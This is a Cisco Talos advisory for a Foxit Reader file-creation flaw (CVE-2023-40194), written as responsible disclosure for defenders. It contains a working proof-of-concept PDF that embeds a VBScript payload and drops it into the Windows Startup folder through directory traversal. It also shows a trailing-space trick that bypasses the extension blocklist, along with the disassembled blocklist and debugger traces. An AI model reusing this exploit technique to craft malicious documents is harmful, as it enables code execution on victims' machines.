CVE-2023-40194
An arbitrary file creation vulnerability exists in the Javascript exportDataObject API of Foxit Reader 12.1.3.15356 due to mistreatment of whitespace characters. A specially crafted malicious file can create files at arbitrary locations, which can lead to arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability. Exploitation is also possible if a user visits a specially crafted, malicious site if the browser plugin extension is enabled.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
Foxit Reader 12.1.3.15356
Foxit Reader - https://www.foxitsoftware.com/pdf-reader/
8.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-73 - External Control of File Name or Path
Foxit PDF Reader is one of the most popular PDF document readers. It aims for feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface. Foxit Reader uses the V8 JavaScript engine.
Javascript support in PDF renderers and editors enables dynamic documents that can change based on user input or events. There exists an arbitrary file creation vulnerability in the way Foxit Reader handles the exportDataObject
method of the Doc
object. The exportDataObject
method extracts the data object specified via the cName
parameter to an external file. This method can launch the file once it is created if the nLaunch
parameter of the method is set to 2. This can be illustrated by the following proof-of-concept code:
5 0 obj
<</S/JavaScript/JS(\n\nfunction main\(\) {
this.exportDataObject\({ cName:"MyData", nLaunch: 2}\);
}
main\(\);
)/Type/Action>>
endobj
6 0 obj
<</Length 6/Params<</ModDate(D:20230731134730-08'00')/Size 6/CheckSum<FA0903293EC8FC1F19087D0EB2FFDED8>/CreationDate(D:20230731133537-08'00')>>/Subtype/application#2Fhta/Type/EmbeddedFile>>
stream
<job>
<script language="VBScript">
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd.exe /c calc.exe"
</script>
</job>
endstream
endobj
7 0 obj
<</UF(..\/..\/..\/..\/..\/AppData\/Roaming\/Microsoft\/Windows\/Start Menu\/Programs\/Startup\/exploit.wsf )/EF<</F 6 0 R>>/Desc()/F(exploit.wsf)/Type/Filespec>>
endobj
8 0 obj
<</EmbeddedFiles 9 0 R>>
endobj
9 0 obj
<</Names[<FEFF004D00790044006100740061>7 0 R]>>
endobj
Here, the object 9
contains the MyData
data object. FEFF004D00790044006100740061
is the hexadecimal unicode value of the string MyData
. The exportDataObject
method extracts this data object and writes it to the file indicated by the UF
key of the object 7
. In this case, a WSF file is written to the disk. The content of the file is the stream object of the object 6
, which contains the VBScript code to run the calc.exe
application.
The Foxit application saves the new file to the temp directory, but it doesn’t check for the directory traversal characters, i.e. dot-dot-slash (“../”), before appending the filename indicated by the UF
key to the temporary directory path. This allows the use of the directory traversal vulnerability to write files to an arbitrary path.
The application checks the extension of a file against the blocklist filter of 93 known file extensions before calling a method responsible for creating it. The blocklisted extensions are as follows:
.text:017E47CD mov [ebp+var_19C], offset aAcm ; "acm"
.text:017E47D7 mov [ebp+var_198], offset aAde ; "ade"
.text:017E47E1 mov [ebp+var_194], offset aAdp ; "adp"
.text:017E47EB mov [ebp+var_190], offset aApp ; "app"
.text:017E47F5 mov [ebp+var_18C], offset aAsa ; "asa"
.text:017E47FF mov [ebp+var_188], offset aAsp ; "asp"
.text:017E4809 mov [ebp+var_184], offset aAspx ; "aspx"
.text:017E4813 mov [ebp+var_180], offset aAx ; "ax"
.text:017E481D mov [ebp+var_17C], offset aBas ; "bas"
.text:017E4827 mov [ebp+var_178], offset aBat ; "bat"
.text:017E4831 mov [ebp+var_174], offset aBin ; "bin"
.text:017E483B mov [ebp+var_170], offset aCer ; "cer"
.text:017E4845 mov [ebp+var_16C], offset aChm_0 ; "chm"
.text:017E484F mov [ebp+var_168], offset aClb ; "clb"
.text:017E4859 mov [ebp+var_164], offset aCmd ; "cmd"
.text:017E4863 mov [ebp+var_160], offset aCnt ; "cnt"
.text:017E486D mov [ebp+var_15C], offset aCnv ; "cnv"
.text:017E4877 mov [ebp+var_158], offset aCom ; "com"
.text:017E4881 mov [ebp+var_154], offset aCpl ; "cpl"
.text:017E488B mov [ebp+var_150], offset aCpx ; "cpx"
.text:017E4895 mov [ebp+var_14C], offset aCrt ; "crt"
.text:017E489F mov [ebp+var_148], offset aCsh ; "csh"
.text:017E48A9 mov [ebp+var_144], offset Ext ; "dll"
.text:017E48B3 mov [ebp+var_140], offset aDrv ; "drv"
.text:017E48BD mov [ebp+var_13C], offset aDtd ; "dtd"
.text:017E48C7 mov [ebp+var_138], offset aExe_0 ; "exe"
.text:017E48D1 mov [ebp+var_134], offset aFxp ; "fxp"
.text:017E48DB mov [ebp+var_130], offset aGrp ; "grp"
.text:017E48E5 mov [ebp+var_12C], offset aH1s ; "h1s"
.text:017E48EF mov [ebp+var_128], offset aHlp ; "hlp"
.text:017E48F9 mov [ebp+var_124], offset aHta ; "hta "
.text:017E4903 mov [ebp+var_120], offset aIme ; "ime"
.text:017E490D mov [ebp+var_11C], offset aInf_0 ; "inf"
.text:017E4917 mov [ebp+var_118], offset aIns ; "ins"
.text:017E4921 mov [ebp+var_114], offset aIsp ; "isp"
.text:017E492B mov [ebp+var_110], offset aIts ; "its"
.text:017E4935 mov [ebp+var_10C], offset aJs_3 ; "js"
.text:017E493F mov [ebp+var_108], offset aJse ; "jse"
.text:017E4949 mov [ebp+var_104], offset aKsh ; "ksh"
.text:017E4953 mov [ebp+var_100], offset aLnk_0 ; "lnk"
.text:017E495D mov [ebp+var_FC], offset aMad ; "mad"
.text:017E4967 mov [ebp+var_F8], offset aMaf ; "maf"
.text:017E4971 mov [ebp+var_F4], offset aMag ; "mag"
.text:017E497B mov [ebp+var_F0], offset aMam ; "mam"
.text:017E4985 mov [ebp+var_EC], offset aMan ; "man"
.text:017E498F mov [ebp+var_E8], offset aMaq ; "maq"
.text:017E4999 mov [ebp+var_E4], offset aMar_0 ; "mar"
.text:017E49A3 mov [ebp+var_E0], offset aMas ; "mas"
.text:017E49AD mov [ebp+var_DC], offset aMat ; "mat"
.text:017E49B7 mov [ebp+var_D8], offset aMau ; "mau"
.text:017E49C1 mov [ebp+var_D4], offset aMav ; "mav"
.text:017E49CB mov [ebp+var_D0], offset aMaw ; "maw"
.text:017E49D5 mov [ebp+var_CC], offset aMda ; "mda"
.text:017E49DF mov [ebp+var_C8], offset aMdb ; "mdb"
.text:017E49E9 mov [ebp+var_C4], offset aMde ; "mde"
.text:017E49F3 mov [ebp+var_C0], offset aMdt ; "mdt"
.text:017E49FD mov [ebp+var_BC], offset aMdw ; "mdw"
.text:017E4A07 mov [ebp+var_B8], offset aMdz ; "mdz"
.text:017E4A11 mov [ebp+var_B4], offset aMsc ; "msc"
.text:017E4A1B mov [ebp+var_B0], offset aMsi ; "msi"
.text:017E4A25 mov [ebp+var_AC], offset aMsp ; "msp"
.text:017E4A2F mov [ebp+var_A8], offset aMst ; "mst"
.text:017E4A39 mov [ebp+var_A4], offset aMui ; "mui"
.text:017E4A43 mov [ebp+var_A0], offset aNls ; "nls"
.text:017E4A4D mov [ebp+var_9C], offset aOcx ; "ocx"
.text:017E4A57 mov [ebp+var_98], offset aOps ; "ops"
.text:017E4A61 mov [ebp+var_94], offset aPal ; "pal"
.text:017E4A6B mov [ebp+var_90], offset aPcd ; "pcd"
.text:017E4A75 mov [ebp+var_8C], offset aPif ; "pif"
.text:017E4A7F mov [ebp+var_88], offset aPrf ; "prf"
.text:017E4A89 mov [ebp+var_84], offset aPrg ; "prg"
.text:017E4A93 mov [ebp+var_80], offset aPst ; "pst"
.text:017E4A9A mov [ebp+var_7C], offset aReg_0 ; "reg"
.text:017E4AA1 mov [ebp+var_78], offset aScf ; "scf"
.text:017E4AA8 lea ecx, [ebp+var_1A4]
.text:017E4AAE mov [ebp+var_74], offset aScr ; "scr"
.text:017E4AB5 mov [ebp+var_70], offset aSct ; "sct"
.text:017E4ABC mov [ebp+var_6C], offset aShb ; "shb"
.text:017E4AC3 mov [ebp+var_68], offset aShs ; "shs"
.text:017E4ACA mov [ebp+var_64], offset aSys ; "sys"
.text:017E4AD1 mov [ebp+var_60], offset aTlb ; "tlb"
.text:017E4AD8 mov [ebp+var_5C], offset aTsp ; "tsp"
.text:017E4ADF mov [ebp+var_58], offset aUrl ; "url"
.text:017E4AE6 mov [ebp+var_54], offset aVb ; "vb"
.text:017E4AED mov [ebp+var_50], offset aVbe ; "vbe"
.text:017E4AF4 mov [ebp+var_4C], offset aVbs ; "vbs"
.text:017E4AFB mov [ebp+var_48], offset aVsmacros ; "vsmacros"
.text:017E4B02 mov [ebp+var_44], offset aVss ; "vss"
.text:017E4B09 mov [ebp+var_40], offset aVst ; "vst"
.text:017E4B10 mov [ebp+var_3C], offset aVsw ; "vsw"
.text:017E4B17 mov [ebp+var_38], offset aWs ; "ws"
.text:017E4B1E mov [ebp+var_34], offset aWsc ; "wsc"
.text:017E4B25 mov [ebp+var_30], offset aWsf ; "wsf"
.text:017E4B2C mov [ebp+var_2C], offset aWsh ; "wsh"
.text:017E4B33 mov [ebp+var_28], offset aXsl ; "xsl"
This check can be bypassed by adding a space at the end of the file. For example, “exploit.acm” will be blocked but the filename “exploit.acm “ will bypass the above checks and a file with the name exploit.acm
will be created. We can observe the following in the debugger (here, the value of the UF
key was (exploit.acm )
):
eax=0f8ec098 ebx=0e70e6e8 ecx=073fdb5c edx=0000005e esi=00000000 edi=0b04c54c
eip=017e4ba5 esp=073fdb34 ebp=073fdd04 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3ad755:
017e4ba5 6666660f1f840000000000 nop word ptr [eax+eax]
0:000> pc
eax=0f8ec098 ebx=0e70e6e8 ecx=073fdb3c edx=0000005e esi=00000000 edi=0b04c54c
eip=017e4bb7 esp=073fdb30 ebp=073fdd04 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3ad767:
017e4bb7 e824746d00 call FoxitPDFReader!safe_vsnprintf+0x52e880 (01ebbfe0)
0:000> p
eax=0b4764e8 ebx=0e70e6e8 ecx=073fdb3c edx=00000000 esi=00000000 edi=0b04c54c
eip=017e4bbc esp=073fdb34 ebp=073fdd04 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3ad76c:
017e4bbc 50 push eax ; <--------------------- [1]
0:000> dd eax
0b4764e8 0f8ddf50 0f8dd9b0 0f8ddf68 0f8dde60
0b4764f8 0f8ddea8 0f8dd878 0f8ddad0 0f8dd9e0
0b476508 0f8dd998 0f8dd9f8 0f8dd860 0f8dda10
0b476518 0f8dda70 0f8dd8d8 0f8dd9c8 0f8dda28
0b476528 0f8dda58 0f8dd968 0f8dd908 0f8dd830
0b476538 0f8dd650 0f8dd938 0f8dda40 0f8dd890
0b476548 0f8dd8f0 0f8dd8a8 0f8dd920 0f8dd698
0b476558 0f8dd8c0 0f8dd980 0f8dd848 0f8dd950
0:000> du 0f8ddf50+c
0f8ddf5c "acm"
0:000> du 0f8dd9b0+c
0f8dd9bc "ade"
0:000> du 0f8ddf68+c
0f8ddf74 "adp"
0:000> p
eax=0b4764e8 ebx=0e70e6e8 ecx=073fdb3c edx=00000000 esi=00000000 edi=0b04c54c
eip=017e4bbd esp=073fdb30 ebp=073fdd04 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3ad76d:
017e4bbd 8d8d5cfeffff lea ecx,[ebp-1A4h]
0:000> p
eax=0b4764e8 ebx=0e70e6e8 ecx=073fdb60 edx=00000000 esi=00000000 edi=0b04c54c
eip=017e4bc3 esp=073fdb30 ebp=073fdd04 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3ad773:
017e4bc3 e8382f6d00 call FoxitPDFReader!safe_vsnprintf+0x52a3a0 (01eb7b00) ; <--------------------- [2]
0:000> dd ecx
073fdb60 0f8dde18 0fe92208 04a13aec 04a13af4
073fdb70 04a13afc 04a13b04 04a13b0c 04a13b14
073fdb80 04a13b1c 04a13b28 04a13b30 04a13b38
073fdb90 04a13b40 04a13b48 04a13b50 04a13b58
073fdba0 04a13b60 04a13b68 04a13b70 04a13b78
073fdbb0 04a13b80 04a13b88 04a13b90 04a13b98
073fdbc0 049918bc 04a13ba0 04a13ba8 049d1d20
073fdbd0 04a13bb0 04a13bb8 04a13bc0 04a13bc8
0:000> du 0f8dde18+c ; <--------------------- [3]
0f8dde24 "acm "
0:000> p
eax=00000001 ebx=0e70e6e8 ecx=00000003 edx=0000006d esi=00000000 edi=0b04c54c
eip=017e4bc8 esp=073fdb34 ebp=073fdd04 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3ad778:
017e4bc8 85c0 test eax,eax ; <--------------------- [4]
0:000> p
eax=00000001 ebx=0e70e6e8 ecx=00000003 edx=0000006d esi=00000000 edi=0b04c54c
eip=017e4bca esp=073fdb34 ebp=073fdd04 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3ad77a:
017e4bca 745a je FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3ad7d6 (017e4c26) [br=0]
0:000> p
eax=00000001 ebx=0e70e6e8 ecx=00000003 edx=0000006d esi=00000000 edi=0b04c54c
eip=017e4bcc esp=073fdb34 ebp=073fdd04 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3ad77c:
017e4bcc 46 inc esi
0:000> g
Breakpoint 6 hit
eax=0b46e80c ebx=0e70e6e8 ecx=1f2842b4 edx=00000000 esi=073fdfb8 edi=00000000
eip=017e3014 esp=073fb704 ebp=073fdf50 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3abbc4:
017e3014 8d8dc4d7ffff lea ecx,[ebp-283Ch]
0:000> p
eax=0b46e80c ebx=0e70e6e8 ecx=073fb714 edx=00000000 esi=073fdfb8 edi=00000000
eip=017e301a esp=073fb704 ebp=073fdf50 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3abbca:
017e301a 51 push ecx
0:000> p
eax=0b46e80c ebx=0e70e6e8 ecx=073fb714 edx=00000000 esi=073fdfb8 edi=00000000
eip=017e301b esp=073fb700 ebp=073fdf50 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3abbcb:
017e301b 6801100000 push 1001h
0:000> p
eax=0b46e80c ebx=0e70e6e8 ecx=073fb714 edx=00000000 esi=073fdfb8 edi=00000000
eip=017e3020 esp=073fb6fc ebp=073fdf50 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3abbd0:
017e3020 50 push eax
0:000> p
eax=0b46e80c ebx=0e70e6e8 ecx=073fb714 edx=00000000 esi=073fdfb8 edi=00000000
eip=017e3021 esp=073fb6f8 ebp=073fdf50 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3abbd1:
017e3021 8d8dd8d7ffff lea ecx,[ebp-2828h]
0:000> du eax ; <--------------------- [5]
0b46e80c "C:\Users\dev\AppData\Local\Temp\"
0b46e84c "$frd_\F9R4B52.tmp\exploit.acm "
0:000> p
eax=0b46e80c ebx=0e70e6e8 ecx=073fb728 edx=00000000 esi=073fdfb8 edi=00000000
eip=017e3027 esp=073fb6f8 ebp=073fdf50 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3abbd7:
017e3027 e8f2b38302 call FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1dcaee (0401e41e) ; <--------------------- [6]
0:000> p
eax=00000001 ebx=0e70e6e8 ecx=1817f444 edx=00000006 esi=073fdfb8 edi=00000000
eip=017e302c esp=073fb704 ebp=073fdf50 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3abbdc:
017e302c 85c0 test eax,eax ; <--------------------- [7]
At [1]
, the argument of the method at [2]
is pushed onto the stack. The value being pushed comes from the register eax
, which contains the disallowed file extensions. At [3]
, the this
object of the method contains the extension of the given filename, which is the string “acm “. The method called at [2]
performs the string comparison, which fails as the string “acm “ is not present in the disallowed list. The comparison results can be observed at [4]
. Later on, the filename was passed to CFile::Open
at [6]
, which created the file successfully. The non-zero value at [7]
indicates that the open was successful.
This vulnerability allows the creation of arbitrary files, and the execution of these files leads to arbitrary code execution.
2023-08-28 - Vendor Disclosure
2023-11-22 - Vendor Patch Release
2023-11-27 - Public Release
Discovered by Kamlapati Choubey of Cisco Talos.